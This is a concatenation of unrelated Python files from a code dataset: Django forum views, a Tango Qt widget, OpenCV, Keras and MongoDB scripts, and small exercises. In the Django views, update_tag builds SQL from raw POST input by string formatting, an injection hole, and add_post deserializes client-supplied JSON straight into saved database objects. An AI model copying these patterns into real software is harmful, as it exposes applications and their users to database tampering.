request.')\n\n\n@login_required\ndef add_post(request):\n if request.POST:\n title = request.POST.get('title')\n tags = request.POST.get('tags')\n description = request.POST.get('description')\n\n post = Post()\n post.title = title\n post.description = description\n post.created_by = ForumUser.objects.get(django_user=request.user)\n post.save()\n\n tags = serializers.deserialize('json', tags)\n for i in tags:\n i.save()\n post.tags.add(i.object)\n\n post.save()\n\n return JsonResponse({'res': 'success'})\n else:\n template = 'add_post.html'\n context = {\n 'user': request.user,\n }\n return render(request, template, context)\n\n\n@login_required\ndef add_answer(request):\n if request.POST:\n post_id = int(request.POST.get('post_id'))\n description = request.POST.get('description')\n\n answer = Answer()\n answer.post_id = post_id\n answer.description = description\n answer.created_by = ForumUser.objects.get(django_user=request.user)\n answer.save()\n return JsonResponse({'res': 'success'})\n\n\n@login_required\ndef add_comment(request):\n if request.POST:\n post_id = int(request.POST.get('post_id', default=-1))\n\n try:\n answer_id = int(request.POST.get('answer_id', default=-1))\n except Exception as e:\n print(e)\n answer_id = -1\n\n description = request.POST.get('description')\n\n comment = Comment()\n\n if answer_id is not -1:\n comment.answer_id = answer_id\n else:\n comment.post_id = post_id\n\n comment.description = description\n comment.created_by = ForumUser.objects.get(django_user=request.user)\n comment.save()\n return HttpResponseRedirect(reverse('app:postDetails', kwargs={'pk': post_id}))\n\n\n@login_required\ndef update_tag(request):\n if request.POST:\n new_tag = request.POST.get('tag')\n old_tag = request.POST.get('oldtag')\n print(new_tag)\n print(old_tag)\n cursor = connection.cursor()\n query = 'call update_tag(\"%s\", \"%s\")' % (new_tag, old_tag)\n cursor.execute(query)\n\n return HttpResponseRedirect(reverse('app:tags'))\n else:\n return HttpResponse('This is a get request.')\n\n\n@login_required\ndef update_answer_accept(request):\n if request.POST:\n res = JsonResponse({'res': 'failed'})\n answer_id = int(request.POST.get('id'))\n answer = Answer.objects.get(pk=answer_id)\n if answer.post.created_by.django_user == request.user:\n post = answer.post\n\n if post.accepted_answer is not None:\n obj = post.accepted_answer.created_by\n obj.reputation -= 10\n obj.save()\n\n if post.accepted_answer != answer:\n post.accepted_answer = answer\n obj = answer.created_by\n obj.reputation += 10\n obj.save()\n else:\n post.accepted_answer = None\n\n post.save()\n res = JsonResponse({'res': 'success'})\n return res\n\n\ndef search_tags(request):\n query = request.POST.get('query')\n limit = int(request.POST.get('limit', default=-1))\n\n tags = Tag.objects.filter(name__icontains=query).order_by('use_count').order_by('id')\n if limit != -1:\n tags = tags[: limit]\n\n tags = json.loads(serializers.serialize(\"json\", tags))\n\n return JsonResponse({'response': tags})\n\n\ndef vote(request):\n type = int(request.POST.get('type'))\n id = int(request.POST.get('id'))\n value = int(request.POST.get('value'))\n\n forum_user = ForumUser.objects.get(django_user=request.user)\n if forum_user.reputation < 5:\n return JsonResponse({'result': 'failed'})\n\n if type == 0:\n obj = Post.objects.get(pk=id)\n else:\n obj = Answer.objects.get(pk=id)\n\n if value == 0:\n obj.up_voters.add(forum_user)\n obj.down_voters.remove(forum_user)\n else:\n obj.up_voters.remove(forum_user)\n obj.down_voters.add(forum_user)\n\n obj.save()\n\n return JsonResponse({'result': 'done', 'votes': len(obj.up_voters.all()) - len(obj.down_voters.all())})\n","sub_path":"autodidact/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"527793080","text":"\n\nfrom xai.brain.wordbase.nouns._winner import _WINNER\n\n#calss header\nclass _WINNERS(_WINNER, ):\n\tdef __init__(self,): \n\t\t_WINNER.__init__(self)\n\t\tself.name = \"WINNERS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"winner\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_winners.py","file_name":"_winners.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"155386185","text":"# coding: utf-8\n'''\nCreated on Feb 25, 2020\n\n@author: sanin\n'''\nimport logging\nimport sys\nimport time\n\nimport tango\nfrom PyQt5.QtWidgets import QWidget\n\nfrom TangoWidgets.TangoWidget import TangoWidget\nfrom TangoWidgets.TangoAttribute import TangoAttribute\n\n\nclass TangoMultiAttributeWidget(TangoWidget):\n def __init__(self, name: str, widget: QWidget, readonly=True, level=logging.DEBUG, attributes=[]):\n self.attributes = attributes\n super().__init__(name, widget, readonly, level)\n self.tango_attributes = {self.attribute.full_name: self.attribute}\n for attr in attributes:\n if attr not in self.tango_attributes:\n self.tango_attributes[attr] = TangoAttribute(attr, level=level, readonly=readonly)\n self.update(decorate_only=False)\n\n def read(self, force=False):\n if not self.connected:\n raise ConnectionError('Attribute disconnected')\n try:\n if not force and self.dp.is_attribute_polled(self.an):\n attrib = self.dp.attribute_history(self.an, 1)[0]\n t1 = attrib.time.tv_sec + (1.0e-6 * attrib.time.tv_usec)\n t2 = self.attr.time.tv_sec + (1.0e-6 * self.attr.time.tv_usec)\n if t1 > t2:\n self.attr = attrib\n else:\n self.attr = self.dp.read_attribute(self.an)\n except Exception as ex:\n #self.logger.debug('Exception in read', exc_info=True)\n self.attr = None\n self.disconnect_attribute_proxy()\n raise\n self.ex_count = 0\n return self.attr\n\n def write(self, value):\n if self.readonly:\n return\n try:\n self.dp.write_attribute(self.an, value/self.coeff)\n except Exception as ex:\n self.disconnect_attribute_proxy()\n raise ex\n\n def write_read(self, value):\n if self.readonly:\n return None\n self.attr = None\n try:\n self.attr = self.dp.write_read_attribute(self.an, value/self.coeff)\n #self.attr = self.attr_proxy.write_read(value/self.coeff)\n except Exception as ex:\n self.attr = None\n self.disconnect_attribute_proxy()\n raise ex\n self.ex_count = 0\n\n # compare widget displayed value and read attribute value\n def compare(self):\n return True\n\n def set_widget_value(self):\n if self.attr.quality != tango._tango.AttrQuality.ATTR_VALID:\n # dont set value from invalid attribute\n return\n bs = self.widget.blockSignals(True)\n if hasattr(self.attr, 'value'):\n if hasattr(self.widget, 'setValue'):\n self.widget.setValue(self.attr.value * self.coeff)\n elif hasattr(self.widget, 'setChecked'):\n self.widget.setChecked(bool(self.attr.value))\n elif hasattr(self.widget, 'setText'):\n if self.format is not None:\n text = self.format % (self.attr.value * self.coeff)\n else:\n text = str(self.attr.value)\n self.widget.setText(text)\n self.widget.blockSignals(bs)\n\n def update(self, decorate_only=False) -> None:\n t0 = time.time()\n try:\n self.read()\n if self.attr.data_format != tango._tango.AttrDataFormat.SCALAR:\n self.logger.debug('Non scalar attribute')\n self.decorate_invalid_data_format()\n else:\n if not decorate_only:\n self.set_widget_value()\n if self.attr.quality != tango._tango.AttrQuality.ATTR_VALID:\n self.logger.debug('%s %s' % (self.attr.quality, self.attr.name))\n self.decorate_invalid_quality()\n else:\n if not self.compare():\n self.decorate_not_equal()\n else:\n self.decorate_valid()\n except:\n if self.connected:\n self.logger.debug('Exception updating widget', exc_info=True)\n self.disconnect_attribute_proxy()\n else:\n if (time.time() - self.time) > TangoWidget.RECONNECT_TIMEOUT:\n self.connect_attribute_proxy()\n if self.connected:\n if hasattr(self.widget, 'value'):\n self.write(self.widget.value())\n elif hasattr(self.widget, 'getChecked'):\n self.write(self.widget.getChecked())\n elif hasattr(self.widget, 'getText'):\n self.write(self.widget.getText())\n if self.attr.quality != tango._tango.AttrQuality.ATTR_VALID:\n self.logger.debug('%s %s' % (self.attr.quality, self.attr.name))\n self.decorate_invalid_quality()\n else:\n self.decorate_valid()\n else:\n self.decorate_error()\n self.update_dt = time.time() - t0\n #print('update', self.attr_proxy, int(self.update_dt*1000.0), 'ms')\n\n def callback(self, value):\n #self.logger.debug('Callback entry')\n if self.readonly:\n return\n if self.connected:\n try:\n #self.write_read(value)\n self.write(value)\n self.read(True)\n #print('wr', self.attr.value, value)\n if self.attr.quality == tango._tango.AttrQuality.ATTR_VALID:\n self.decorate_valid()\n else:\n self.decorate_invalid()\n except:\n self.logger.debug('Exception %s in callback', sys.exc_info()[0])\n self.decorate_error()\n else:\n self.connect_attribute_proxy()\n self.decorate_error()\n","sub_path":"TangoWidgets/TangoMultiAttributeWidget.py","file_name":"TangoMultiAttributeWidget.py","file_ext":"py","file_size_in_byte":5919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"312940594","text":"import random\n\ndef main():\n sentence = \"In the not-too-distant future, next Sunday A.D.\"\n words = sentence.split()\n word_lengths = []\n for word in words:\n if \"-\" not in words:\n word_lengths.append(len(word))\n print(word_lengths)\n word_lengths = [len(word) for word in words if \"-\" not in word]\n print(word_lengths)\n\n\n array = []\n for x in range(10):\n array.append(random.uniform(-1,1))\n\n array = [random.uniform(-1,1) for x in range(10)]\n print(array)\nmain()\n","sub_path":"list_comp1.py","file_name":"list_comp1.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"562994426","text":"answers = {\"Сколько время?\": \"Пора спать!\", \"Как дела?\": \"Лучше всех\", \"Что дальше?\": \"Увидишь\"}\n\n\ndef get_answers(question, answers):\n return answers.get(question)\n\n\ndef ask_user(answers):\n\ttry:\n\t\twhile True:\n\t\t\tuser_say = input('Что ты хочешь узнать? ')\n\t\t\tprint(get_answers(user_say, answers))\n\t\t\tif user_say == 'Пока!':\n\t\t\t\tbreak\n\texcept KeyboardInterrupt:\n\t\tprint(' Прошу вас, постойте!')\n\nif __name__ == '__main__':\n\task_user(answers)\n\n","sub_path":"get_answer(while).py","file_name":"get_answer(while).py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"225598150","text":"import cv2\nimport numpy as np\n\n\ndef sift_kp(image):\n gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n sift = cv2.xfeatures2d.SIFT_create()\n kp, des = sift.detectAndCompute(image, None)\n kp_image = cv2.drawKeypoints(gray_image, kp, None)\n return kp_image, kp, des\n\n\ndef get_good_match(des1, des2):\n bf = cv2.BFMatcher()\n matches = bf.knnMatch(des1, des2, k=2) # des1为模板图,des2为匹配图\n matches = sorted(matches, key=lambda x: x[0].distance / x[1].distance)\n good = []\n for m, n in matches:\n if m.distance < 0.75 * n.distance:\n good.append(m)\n return good\n\n\nimg1 = cv2.imread('C:/Users/lenovo/Desktop/1.jpg')\nimg2 = cv2.imread('C:/Users/lenovo/Desktop/2.jpg')\n\nkpimg1, kp1, des1 = sift_kp(img1)\nkpimg2, kp2, des2 = sift_kp(img2)\n\ncv2.imshow('img1',np.hstack((img1,kpimg1)))\ncv2.waitKey(0)\ncv2.imshow('img2',np.hstack((img2,kpimg2)))\ncv2.waitKey(0)\n\ngoodMatch = get_good_match(des1, des2)\nall_goodmatch_img= cv2.drawMatches(img1, kp1, img2, kp2, goodMatch, None, flags=2)\n# goodmatch_img自己设置前多少个goodMatch[:10]\ngoodmatch_img = cv2.drawMatches(img1, kp1, img2, kp2, goodMatch[:10], None, flags=2)\n\ncv2.imshow('all_goodmatch_img', all_goodmatch_img)\ncv2.waitKey(0)\ncv2.imshow('goodmatch_img', goodmatch_img)\ncv2.waitKey(0)\n","sub_path":"venv/Scripts/newthreading.py","file_name":"newthreading.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"88641581","text":"import requests\nimport urllib\nfrom urlparse import urlparse\n\nfrom bson import ObjectId\nfrom pymongo import MongoClient\n\n\nCATALOG = 'http://apis.docker:8080/DSProductCatalog/api/catalogManagement/v2/productOffering'\nPRODUCTS = 'http://apis.docker:8080/DSProductCatalog/api/catalogManagement/v2/productSpecification'\nORDERING = 'http://apis.docker:8080/DSProductOrdering/api/productOrdering/v2/productOrder'\nPARTY = 'http://apis.docker:8080/DSPartyManagement/api/partyManagement/v2/individual'\n\nMONGO = 'mongo'\nDATABASE = 'wstore_db'\n\nprocessed_offerings = []\nbundles = []\ndb = None\n\n\ndef create_organization(owner_href):\n # Get parties\n site = urlparse(PARTY)\n p = urlparse(owner_href)\n\n party_url = '{}://{}{}'.format(site.scheme, site.netloc, p.path)\n party = requests.get(party_url).json()\n\n # Create userprofile object\n organization = {\n \"managers\" : [],\n\t \"name\" : party['id'],\n\t \"correlation_number\" : 0,\n\t \"notification_url\" : None,\n\t \"private\" : True,\n\t \"tax_address\" : {},\n\t \"expenditure_limits\" : {},\n\t \"actor_id\" : None,\n \"acquired_offerings\" : []\n \n }\n\n # Create organization object\n return db.wstore_organization.save(organization)\n\n\ndef get_product_owner_obj(product):\n owner_id = None\n owner_href = None\n for party in product['relatedParty']:\n if party['role'].lower() == 'owner':\n owner_id = party['id']\n owner_href = party['href']\n break\n\n owner_obj = db.wstore_organization.find_one({\n 'name': owner_id\n })\n\n owner_obj_id = None\n if owner_obj is None:\n owner_obj_id = create_organization(owner_href)\n else:\n owner_obj_id = owner_obj['_id']\n\n return owner_obj_id\n\n\ndef get_product_owner(product_href):\n site = urlparse(CATALOG)\n prod = urlparse(product_href)\n\n product_url = '{}://{}{}'.format(site.scheme, site.netloc, prod.path)\n product = requests.get(product_url).json()\n return get_product_owner_obj(product)\n\n\ndef save_offering(offering, internal_id=None):\n\n assets = db.wstore_resource.find({\n 'product_id': offering['productSpecification']['id']\n })\n\n asset = None\n owner = None\n if assets.count() > 0:\n asset = assets[0]['_id']\n owner = assets[0]['provider_id']\n else:\n # Owner must be retrieved from product specification\n owner = get_product_owner(offering['productSpecification']['href'])\n\n is_digital = asset is not None\n\n description = ''\n if 'description' in offering:\n description = offering['description']\n\n offering_object = {\n 'off_id': offering['id'],\n 'href': offering['href'],\n 'owner_organization_id': owner,\n 'name': offering['name'],\n 'version': offering['version'],\n 'description': description,\n 'is_digital': is_digital,\n 'asset_id': asset,\n 'bundled_offerings': []\n }\n\n # When the offering to be restored in the database is used in an order,\n # the internal id must be the same it had\n if internal_id is not None:\n offering_object['_id'] = internal_id\n\n db.ordering_offering.save(offering_object)\n\n\ndef process_orders():\n orders = db.wstore_order.find()\n for order_obj in orders:\n if len(order_obj['contracts']) > 0:\n order_resp = requests.get(ORDERING + '/' + order_obj['order_id'])\n api_order = order_resp.json()\n\n # Each contract is created using a particular offering\n i = 0\n while i < len(api_order['orderItem']):\n site = urlparse(CATALOG)\n off = urlparse(api_order['orderItem'][i]['productOffering']['href'])\n\n offering_url = '{}://{}{}'.format(site.scheme, site.netloc, off.path)\n offering = requests.get(offering_url).json()\n\n if offering['id'] not in processed_offerings:\n internal_id = order_obj['contracts'][i]['offering_id']\n if not is_bundle(offering):\n save_offering(offering, internal_id)\n processed_offerings.append(offering['id'])\n\n else:\n bundles.append((offering, internal_id))\n i += 1\n\n\ndef save_bundle(bundle):\n # Check if the bundle is digital\n bundle_offering = bundle[0]\n bundled_offerings = []\n\n for bundled in bundle_offering['bundledProductOffering']:\n bundled_offerings.append(db.ordering_offering.find_one({\n 'off_id': bundled['id']\n }))\n\n digital = len([offering for offering in bundled_offerings if offering['is_digital']])\n is_digital = digital > 0\n\n owner = None\n if is_digital:\n asset = db.wstore_resource.find_one({\n '_id': bundled_offerings[0]['asset_id']\n })\n owner = asset['provider_id']\n else:\n raw_bundled = requests.get(CATALOG + '/' + bundled_offerings[0]['off_id']).json()\n owner = get_product_owner(raw_bundled['productSpecification']['href'])\n\n bundle_ids = [unicode(offering['_id']) for offering in bundled_offerings]\n\n description = ''\n if 'description' in bundle_offering:\n description = bundle_offering['description']\n\n offering_object = {\n 'off_id': bundle_offering['id'],\n 'href': bundle_offering['href'],\n 'owner_organization_id': owner,\n 'name': bundle_offering['name'],\n 'version': bundle_offering['version'],\n 'description': description,\n 'is_digital': is_digital,\n 'asset_id': None,\n 'bundled_offerings': bundle_ids\n }\n\n # When the offering to be restored in the database is used in an order,\n # the internal id must be the same it had\n if bundle[1] is not None:\n offering_object['_id'] = bundle[1]\n\n db.ordering_offering.save(offering_object)\n\n\ndef is_bundle(offering):\n return 'isBundle' in offering and offering['isBundle'] == True\n\n\ndef load_offerings():\n\n process_orders()\n\n # Get offerings from catalog API\n response = requests.get(CATALOG)\n response.raise_for_status()\n\n for offering in response.json():\n if offering['id'] not in processed_offerings:\n if not is_bundle(offering):\n save_offering(offering)\n else:\n # Bundles cannot be processes until all single offerings are saved\n bundles.append((offering, None))\n\n for bundle in bundles:\n save_bundle(bundle)\n\n\ndef _get_characteristic_value(characteristic):\n return characteristic['productSpecCharacteristicValue'][0]['value']\n\n\ndef parse_characteristics(product_spec):\n expected_chars = {\n 'asset type': [],\n 'media type': [],\n 'location': []\n }\n\n asset_type = None\n media_type = None\n location = None\n has_terms = False\n\n if 'productSpecCharacteristic' in product_spec:\n terms = []\n\n # Extract the needed characteristics for processing digital assets\n is_digital = False\n for char in product_spec['productSpecCharacteristic']:\n if char['name'].lower() in expected_chars:\n is_digital = True\n expected_chars[char['name'].lower()].append(_get_characteristic_value(char))\n\n if char['name'].lower() == 'license':\n terms.append(_get_characteristic_value(char))\n\n has_terms = len(terms) > 0\n\n if is_digital:\n asset_type = expected_chars['asset type'][0]\n media_type = expected_chars['media type'][0]\n location = expected_chars['location'][0]\n\n return asset_type, media_type, location, has_terms\n\n\ndef load_assets():\n # Save basic service asset\n plugins = db.wstore_resourceplugin.find()\n if plugins.count() == 0:\n db.wstore_resourceplugin.save({\n \"media_types\" : [],\n \"name\" : \"Basic Service\",\n \"form\" : {},\n \"author\" : \"fdelavega\",\n \"overrides\" : [],\n \"pull_accounting\" : False,\n \"module\" : \"wstore.asset_manager.resource_plugins.plugins.basic-service.basic_url.BasicPlugin\",\n \"version\" : \"1.0\",\n \"formats\" : [ \"URL\" ],\n \"plugin_id\" : \"basic-service\",\n \"options\" : {}\n })\n\n # Get products\n products = requests.get(PRODUCTS).json()\n\n for product in products:\n owner = get_product_owner_obj(product)\n # Build asset object if the product is digital\n asset_type, media_type, location, has_terms = parse_characteristics(product)\n\n if asset_type is not None:\n asset = {\n \"provider_id\" : owner,\n\t \"meta_info\" : {},\n\t \"content_type\" : media_type,\n\t \"resource_path\" : \"\",\n\t \"bundled_assets\" : [ ],\n\t \"old_versions\" : [ ],\n\t \"has_terms\" : has_terms,\n\t \"state\" : \"attached\",\n\t \"version\" : \"0.1\",\n\t \"download_link\" : location,\n\t \"is_public\" : False,\n\t \"resource_type\" : asset_type,\n\t \"product_id\" : product['id']\n }\n db.wstore_resource.save(asset)\n\n\nif __name__ == \"__main__\":\n import ipdb; ipdb.set_trace()\n global db\n # Initialize databse connection\n client = MongoClient(MONGO)\n db = client[DATABASE]\n #load_organizations()\n load_assets()\n load_offerings()\n","sub_path":"marketplace/load_offerings.py","file_name":"load_offerings.py","file_ext":"py","file_size_in_byte":9501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"315791942","text":"from tkinter import *\ncolors = ('red','orange','yellow','green','blue','purple')\nroot = Tk()\nf = Frame(root,height = 200,width = 200)\nf.color = 0\nf['bg'] = colors[f.color]\nlab1 = Label(f,text = '0')\nlab1.pack()\ndef foo():\n f.color = (f.color+1)%(len(colors))\n lab1['bg'] = colors[f.color]\n lab1['text'] = str(int(lab1['text'])+1)\n f.after(500,foo)\nf.pack()\nf.after(500,foo)\nroot.mainloop()\n","sub_path":"python-course/python/code/p156.py","file_name":"p156.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"305939478","text":"from __future__ import print_function\n\nimport argparse\n\nimport numpy as np\n\nfrom keras import backend as K\nfrom keras import optimizers\nfrom keras.models import Model, Sequential, model_from_json\nfrom keras.layers import Activation, Dense, Dropout, Input\nfrom keras.initializers import RandomUniform\nfrom keras.callbacks import Callback, ModelCheckpoint, History\nfrom keras.regularizers import l2\n\n#import sys,os\n\nimport p1b2\nimport candle\n\ndef initialize_parameters(default_model = 'p1b2_default_model.txt'):\n\n # Build benchmark object\n p1b2Bmk = p1b2.BenchmarkP1B2(p1b2.file_path, default_model, 'keras',\n prog='p1b2_baseline', desc='Train Classifier - Pilot 1 Benchmark 2')\n\n # Initialize parameters\n gParameters = candle.finalize_parameters(p1b2Bmk)\n #p1b2.logger.info('Params: {}'.format(gParameters))\n\n return gParameters\n\n\ndef run(gParameters):\n \n # Construct extension to save model\n ext = p1b2.extension_from_parameters(gParameters, '.keras')\n candle.verify_path(gParameters['save_path'])\n prefix = '{}{}'.format(gParameters['save_path'], ext)\n logfile = gParameters['logfile'] if gParameters['logfile'] else prefix+'.log'\n #candle.set_up_logger(logfile, p1b2.logger, gParameters['verbose'])\n #p1b2.logger.info('Params: {}'.format(gParameters))\n\n # Get default parameters for initialization and optimizer functions\n kerasDefaults = candle.keras_default_config()\n seed = gParameters['rng_seed']\n \n # Load dataset\n (X_train, y_train), (X_test, y_test) = p1b2.load_data2(gParameters, seed)\n\n print (\"Shape X_test: \", X_test.shape)\n print (\"Shape y_test: \", y_test.shape)\n\n print (\"Range X_test --> Min: \", np.min(X_test), \", max: \", np.max(X_test))\n print (\"Range y_test --> Min: \", np.min(y_test), \", max: \", np.max(y_test))\n\n # Define optimizer\n optimizer = candle.build_optimizer(gParameters['optimizer'],\n gParameters['learning_rate'],\n kerasDefaults)\n\n # load json and create model\n# json_file = open('p1b2.model.json', 'r')\n trained_model_json = gParameters['trained_model_json']\n json_data_url = gParameters['data_url'] + trained_model_json\n candle.get_file(trained_model_json, json_data_url, datadir=\".\")\n json_file = open(trained_model_json, 'r')\n loaded_model_json = json_file.read()\n json_file.close()\n loaded_model_json = model_from_json(loaded_model_json)\n\n # load weights into new model\n trained_model_h5 = gParameters['trained_model_h5']\n h5_data_url = gParameters['data_url'] + trained_model_h5\n candle.get_file(trained_model_h5, h5_data_url, datadir=\".\")\n loaded_model_json.load_weights(trained_model_h5)\n# loaded_model_json.load_weights('p1b2.model.h5')\n print(\"Loaded model from disk\")\n\n # evaluate loaded model on test data\n loaded_model_json.compile(loss=gParameters['loss'], optimizer=optimizer, metrics=['accuracy'])\n y_pred = loaded_model_json.predict(X_test)\n scores = p1b2.evaluate_accuracy_one_hot(y_pred, y_test)\n print('Evaluation on test data:', scores)\n\ndef main():\n params = initialize_parameters()\n run(params)\n\nif __name__ == '__main__':\n main()\n try:\n K.clear_session()\n except AttributeError: # theano does not have this function\n pass\n","sub_path":"Pilot1/P1B2/p1b2_infer.py","file_name":"p1b2_infer.py","file_ext":"py","file_size_in_byte":3350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"167869099","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nimport json\nimport math\n\nif len(sys.argv) < 1:\n print('Usage: python3 [].py contents')\n sys.exit()\nelse:\n concept = sys.argv[1]\n\nwordlist = concept.split('\\n')[0]\nwordlist = wordlist.split(',')\nlength = len(wordlist)\nvalue = math.ceil(100 / length)\nconcept_dict = {}\n\nfor i, word in enumerate(wordlist):\n weight = length + 1 - i\n concept_dict[word] = value * weight * 0.4\n\nprint(concept_dict)\n","sub_path":"helpers/concept.py","file_name":"concept.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"228529302","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Feb 5 09:38:00 2020\r\n\r\n@author: rodri\r\n\"\"\"\r\n#status: ported (complete) debugging(not working at column 2 line ~89 in guessquality)\r\n\r\n\r\nimport numpy as np\r\nimport copy as copy\r\nfrom loadmatlab_workspace import load_mat\r\n\r\n# before=load_mat(\"before-updateseries-nopinone\")\r\n# after=load_mat(\"after-updateseries-nopinone\")\r\n# s=before['s']\r\n# output=after['ans']\r\ndef updateseries(s):\r\n\r\n s = seriesbasics(s) #call local function\r\n try:\r\n s['firsti']= np.where(s['fs']>0)[0][0] \r\n except:\r\n s['firsti']= []\r\n try:\r\n# s['firsti']= np.where(s['fs']>0)[0][0] #calling fiindnonzeros, one of my functions , find the first index of the nonzero elements\r\n s['lasti']= np.where(s['fs']>0)[0][-1]\r\n except:\r\n s['lasti']=[]\r\n try:\r\n s['realfs']= s['fs'][np.where(s['fs']>0)]\r\n except:\r\n s['realfs']=[]#for some reason these are ints i am confused\r\n try:\r\n s['realhs']= s['hs'][np.where(s['fs']>0)]\r\n except:\r\n s['realhs']=[]#for some reason these are ints i am confused\r\n ## updateseries.m:9\r\n s=settolerance(s)\r\n # updateseries.m:11\r\n s=updatepval(s)\r\n # updateseries.m:12\r\n s=updatepredictions(s)\r\n # updateseries.m:13\r\n return s\r\n\r\n\r\ndef seriesbasics(s): #good\r\n# function s = seriesbasics(s)\r\n s['predictstring'] = 'empty series'\r\n s['poly'] = 0\r\n s['nextf'] = 0\r\n s['prevf'] = 0\r\n s['predicts'] = np.array([])\r\n s['predecterrs'] = np.array([])\r\n s['outlawed'] = 0\r\n s['outlawchar'] = 'O'\r\n s['predicts'] = np.array([0, 0])\r\n s['predicterrs'] = np.array([0, 0])\r\n s['maxdegree'] = 3\r\n s['pval'] = 1\r\n if np.size(s['fs'], axis=None) == 2: #new series\r\n# array_temp= np.array([0, 0, 0, 0, 0, 0]) #may need to use dtype=Float\r\n# s['fs']= np.insert(array_temp, 2, s['fs'][((s['fs']>0).nonzero())]) \r\n# s['hs'] = np.insert(array_temp, 2, s['hs'][ ((s['hs']>0).nonzero())]);\r\n s['fs']= np.array([0,0,s['fs'][0],s['fs'][1],0,0,0,0])\r\n s['hs']= np.array([0,0,s['hs'][0],s['hs'][1],0,0,0,0])\r\n #these are ints are the command is run\r\n return s\r\n\r\ndef settolerance(s):\r\n# function s = settolerance(s)\r\n if s['whichcolumn'] == 1:\r\n s['tolerance'] = s['lowsidetolerance'].copy()\r\n elif s['whichcolumn'] == 2:\r\n s['tolerance'] = np.array([0, 0, 0, 0, 0])\r\n elif s['whichcolumn']== 3:\r\n s['tolerance'] = np.array([0, 0, 0, 0, 0])\r\n elif s['whichcolumn']== 4:\r\n s['tolerance'] = s['highsidetolerance'].copy()\r\n return s\r\n\r\ndef updatepredictions(s):\r\n# function s = updatepredictions(s)\r\n if np.size(s['realfs'], axis=None) >= 2:\r\n n = min((np.size(s['realfs'],axis=None)),s['maxdegree']+1)\r\n\r\n x = np.arange(1,n+1)\r\n y = s['realfs'][0:n] #!!!\r\n s['poly'] = np.polyfit(x,y,n-1).copy() #this one is not returning the numbers after the decimal\r\n s['prevf'] = np.polyval(s['poly'],0).copy()\r\n s['prevfspread'] = guessquality(y,s,0).copy()\r\n \r\n \r\n y = s['realfs'][-1-n:]\r\n s['poly'] = np.polyfit(x,y,n-1)\r\n s['nextf'] = np.polyval(s['poly'],n+1) #dtype and check index again\r\n s['nextfspread'] = guessquality(y,s,1) #dtype and check index again\r\n s['predictstring'] = ('%s next %.1f prev %.1f\\n' % (str(s['predicterrs']),s['nextf'],s['prevf']))\r\n return s\r\n \r\ndef guessquality(fs,s,upordown):\r\n# function fspread = guessquality(fs,s,upordown)\r\n degree = min(s['maxdegree'], np.size(fs))\r\n fspread = s['tolerance'][degree-1]\r\n minj = fs[0] / (fs[1] - fs[0]) #this is not working at column 2\r\n # print(f\" fs[0], {fs[0]}, and fs[1] - fs[0] {fs[1] - fs[0]}\")\r\n maxj = fs[-1] / (fs[-1] - fs[-2])\r\n # print(f\" fs[-1], {fs[-1]}, and fs[-1] - fs[-2] {fs[-1] - fs[-2]}\")\r\n if upordown == 1:\r\n jtouse = copy.copy(maxj)\r\n else:\r\n jtouse = copy.copy(minj)\r\n\r\n if jtouse < s['lowjthresh']:\r\n fspread = fspread * 2\r\n 1\r\n return fspread\r\n\r\n \r\ndef updatepval(s):\r\n# function s = updatepval(s)\r\n s['pval'] = 1\r\n for n in range(0, (np.size(s['realfs'], axis=None)-2)):\r\n # % n = min(length(s['realfs']),maxdegree+1);\r\n # n += 1 # you have to do this because of esclusive vs inclusive in matlab vs python\r\n numabove = np.size(s['realfs'],axis=None) - n\r\n numtouse = min(s['maxdegree'],numabove)\r\n x = np.arange(1,numtouse)\r\n y = s['realfs'][n+1:n+numtouse]\r\n p = np.polyfit(x,y,numtouse-2)\r\n predictf = np.polyval(p,0)\r\n ferr = s['realfs'][n] - predictf\r\n s['predicts']= np.append(s['predicts'],predictf) ###!!! not sure what type so i am unsure how to index\r\n s['predicterrs'] = np.append(s['predicterrs'],abs(ferr))\r\n thisp = abs(ferr) / s['frange']\r\n if thisp < 1:\r\n s['pval'] = copy.copy(s['pval'] * thisp)\r\n return s\r\n \r\n\r\n\r\n# output= updateseries(s)\r\n# print('cool u are done')","sub_path":"updateseries_python.py","file_name":"updateseries_python.py","file_ext":"py","file_size_in_byte":4953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"520160304","text":"'''\r\nCreated on Jun 11, 2018\r\n\r\n@author: xh\r\n'''\r\n\r\n\r\nfrom segcandidate import TokenAnalyzer\r\nfrom bayesian import get_initial_parameters, estimate_suffix_probability, do_step1_segmention\r\nfrom bayesian import calc_seg_probs, calc_seg_prob\r\nfrom segmentation import get_seg_dict_by_paradigms\r\nfrom pruning import prune_paradigms\r\nfrom suffixcandidate import gen_N_best_suffix, calc_suf_score_by_dist\r\nfrom paradigm import create_paradigms, get_paradigm_suffix_sets, get_reliable_suffix_tuples\r\nfrom reliableroot import is_reliable_root\r\n\r\n\r\nclass MorphAnalyzer():\r\n \"\"\"Class for morphology analysis.\"\"\"\r\n\r\n def __init__(self, param):\r\n \"\"\"Save given parameters.\"\"\"\r\n self.param = param\r\n 